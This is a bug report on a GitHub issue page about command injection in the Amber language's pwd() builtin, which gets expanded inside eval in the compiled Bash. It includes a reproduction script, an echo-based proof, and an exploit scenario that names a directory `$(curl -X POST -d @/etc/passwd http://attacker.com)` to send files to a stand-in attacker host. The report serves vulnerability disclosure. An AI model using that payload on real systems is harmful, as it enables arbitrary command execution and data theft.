amber-lang / amber-lang/amber

[Detail Bug] Amber: `pwd()` can trigger command execution when used via `ref`/`eval` in generated Bash

Abierto
#1,049 0 comentarios 0 reacciones 0 asignados Ver en GitHub
bug detail
Lenguaje dominante
Rust
Estrellas
5.2k
Forks
145
Merge medio
5 d 3 h
PR fusionados (30 d)
7

Descripción

# Summary
- **Context**: The `pwd()` builtin in Amber is intended to return the current working directory as a `Text` value by accessing the `$PWD` environment variable in the generated Bash script.
- **Bug**: The `pwd()` builtin translates to a `RawFragment` containing a literal `"$PWD"` string, which is assigned to an ephemeral variable that is later inlined by the compiler. When this is used in an `eval` context (such as when passing a variable by reference), it allows for arbitrary command execution.
- **Actual vs. expected**: Instead of returning the current directory safely, `pwd()` returns a raw string that is re-evaluated by the shell in `eval` contexts.
- **Impact**: Arbitrary command execution can occur if an attacker can control the current directory name (e.g., by creating a directory with a name like `$(touch exploit)`).

# Code with bug
```rust
// src/modules/builtin/pwd.rs

impl TranslateModule for Pwd {
fn translate(&self, meta: &mut TranslateMetadata) -> FragmentKind {
let id = meta.gen_value_id();
let var_stmt =
VarStmtFragment::new("__pwd", Type::Text, raw_fragment!("\"$PWD\"")).with_global_id(id); // <-- BUG 🔴 Uses raw string that is vulnerable to double expansion in eval contexts
meta.push_ephemeral_variable(var_stmt).to_frag()
}
}
```

# Evidence
### 1. Reproduction Script
An Amber script `repro.ab` that uses `pwd()` in an `eval` context by passing a variable by reference:
```amber
fun exploit(ref x: Text) {
x = pwd()
}

let result = ""
exploit(result)
echo(result)
```

### 2. Exploitation Proof
Creating a directory with a malicious name and running the compiled script demonstrates the vulnerability:
```bash
$ mkdir -p "/tmp/\$(echo Exploit-Executed! >&2)"
$ cd "/tmp/\$(echo Exploit-Executed! >&2)"
$ amber build repro.ab repro.sh
$ bash repro.sh
Exploit-Executed!
/tmp/
```
The message `Exploit-Executed!` is printed to stderr, proving that the command inside the directory name was executed by the script.

### 3. Root Cause Analysis
The generated Bash code for the `exploit` function is:
```bash
exploit__0_v0() {
local x_2="${1}"
eval "${x_2}="$PWD""
}
```
In Bash, `eval` performs one level of expansion. Since `"$PWD"` is literally in the `eval` string (due to compiler inlining of the ephemeral variable), its value (the current directory path) is expanded, and then the resulting string is parsed and executed by `eval`. If the path contains `$(...)`, it is executed as a command.

# Exploit scenario
1. An attacker creates a directory with a malicious name, e.g., `/tmp/$(curl -X POST -d @/etc/passwd http://attacker.com)`.
2. A victim runs an Amber script that uses `pwd()` and passes the result to a function by reference (or uses it in any context that triggers an `eval` in the generated Bash).
3. The victim `cd`s into the malicious directory and runs the script.
4. The malicious command is executed with the victim's privileges.

# Why has this bug gone undetected?
Using `pwd()` in combination with `ref` arguments is a specific pattern that triggers `eval` in the generated Bash. Additionally, most users do not have directory names containing shell-sensitive characters like `$()`, so the bug only manifests in adversarial scenarios.

# Recommended fix
The `pwd()` builtin should ensure its value is not inlined as a raw string into `eval` contexts. A safer approach is to assign `$PWD` to a variable and then reference that variable, or to escape the contents.

```rust
// Proposed fix in src/modules/builtin/pwd.rs
VarStmtFragment::new("__pwd", Type::Text, raw_fragment!("$PWD")).with_global_id(id) // <-- FIX 🟢 Avoids literal quotes in raw fragment, allowing safer expansion
```

# History
This bug was introduced in commit 75a5702 (@kryske, 2026-01-31, PR #996). The commit added several new builtins, including `pwd()`, but incorrectly used a `raw_fragment!` containing `$PWD` for its implementation, leading to unsafe expansion in shell `eval` contexts.

Guía de contribución

No hay ninguna guía de contribución indexada para este repositorio

Evaluación

Este issue todavía no se ha evaluado.

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.